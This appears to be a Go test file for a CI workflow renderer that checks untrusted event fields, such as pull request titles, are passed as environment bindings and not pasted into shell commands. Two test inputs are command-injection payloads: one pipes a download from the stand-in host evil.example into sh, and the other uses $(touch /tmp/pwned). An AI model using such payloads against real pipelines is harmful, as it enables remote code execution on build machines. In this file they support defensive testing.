Go · 3213 bytes Raw Blame History
1 // SPDX-License-Identifier: AGPL-3.0-or-later
2
3 package exec
4
5 import (
6 "reflect"
7 "testing"
8
9 "github.com/tenseleyFlow/shithub/internal/actions/expr"
10 )
11
12 func TestRenderShell_TaintedExpressionUsesEnvBinding(t *testing.T) {
13 t.Parallel()
14 ctx := expr.Context{
15 Shithub: expr.ShithubContext{
16 Event: map[string]any{
17 "pull_request": map[string]any{
18 "title": `"; curl evil.example | sh #`,
19 },
20 },
21 },
22 Untrusted: expr.DefaultUntrusted(),
23 }
24 bindings := NewBindings("")
25 got, err := RenderShell(`echo "${{ shithub.event.pull_request.title }}"`, &ctx, bindings)
26 if err != nil {
27 t.Fatalf("RenderShell: %v", err)
28 }
29 if got != `echo "${SHITHUB_INPUT_0}"` {
30 t.Fatalf("command:\ngot %q\nwant %q", got, `echo "${SHITHUB_INPUT_0}"`)
31 }
32 if bindings.Env()["SHITHUB_INPUT_0"] != `"; curl evil.example | sh #` {
33 t.Fatalf("bindings: %#v", bindings.Env())
34 }
35 }
36
37 func TestRenderStep_EnvTaintPropagatesToRunExpressions(t *testing.T) {
38 t.Parallel()
39 ctx := expr.Context{
40 Shithub: expr.ShithubContext{
41 Event: map[string]any{"title": `$(touch /tmp/pwned)`},
42 },
43 Untrusted: expr.DefaultUntrusted(),
44 }
45 got, err := RenderStep(StepInput{
46 Context: ctx,
47 JobEnv: map[string]string{
48 "TITLE": "${{ shithub.event.title }}",
49 },
50 Run: "echo ${{ env.TITLE }}",
51 })
52 if err != nil {
53 t.Fatalf("RenderStep: %v", err)
54 }
55 if got.Env["TITLE"] != `$(touch /tmp/pwned)` || !got.EnvTaint["TITLE"] {
56 t.Fatalf("env/taint: env=%#v taint=%#v", got.Env, got.EnvTaint)
57 }
58 if got.Run != "echo ${SHITHUB_INPUT_0}" {
59 t.Fatalf("run: %q", got.Run)
60 }
61 if got.Env["SHITHUB_INPUT_0"] != `$(touch /tmp/pwned)` {
62 t.Fatalf("input binding: %#v", got.Env)
63 }
64 }
65
66 func TestRenderStep_ResolvesTrustedExpressionsInline(t *testing.T) {
67 t.Parallel()
68 got, err := RenderStep(StepInput{
69 Context: expr.Context{
70 Vars: map[string]string{"TARGET": "world"},
71 Untrusted: expr.DefaultUntrusted(),
72 },
73 StepEnv: map[string]string{"GREETING": "hello ${{ vars.TARGET }}"},
74 Run: "echo ${{ env.GREETING }}",
75 })
76 if err != nil {
77 t.Fatalf("RenderStep: %v", err)
78 }
79 if got.Run != "echo hello world" {
80 t.Fatalf("run: %q", got.Run)
81 }
82 wantEnv := map[string]string{"GREETING": "hello world"}
83 if !reflect.DeepEqual(got.Env, wantEnv) {
84 t.Fatalf("env:\ngot %#v\nwant %#v", got.Env, wantEnv)
85 }
86 }
87
88 func TestRenderStep_StepEnvOverrideClearsJobEnvTaint(t *testing.T) {
89 t.Parallel()
90 ctx := expr.Context{
91 Shithub: expr.ShithubContext{Event: map[string]any{"title": "bad"}},
92 Untrusted: expr.DefaultUntrusted(),
93 }
94 got, err := RenderStep(StepInput{
95 Context: ctx,
96 JobEnv: map[string]string{
97 "TITLE": "${{ shithub.event.title }}",
98 },
99 StepEnv: map[string]string{
100 "TITLE": "trusted",
101 },
102 Run: "echo ${{ env.TITLE }}",
103 })
104 if err != nil {
105 t.Fatalf("RenderStep: %v", err)
106 }
107 if got.EnvTaint["TITLE"] {
108 t.Fatalf("step override should clear taint: %#v", got.EnvTaint)
109 }
110 if got.Run != "echo trusted" {
111 t.Fatalf("run: %q", got.Run)
112 }
113 }
114
115 func TestRenderStep_RejectsReservedInputEnv(t *testing.T) {
116 t.Parallel()
117 _, err := RenderStep(StepInput{
118 JobEnv: map[string]string{"SHITHUB_INPUT_0": "collision"},
119 Run: "true",
120 })
121 if err == nil {
122 t.Fatal("RenderStep returned nil error")
123 }
124 }
125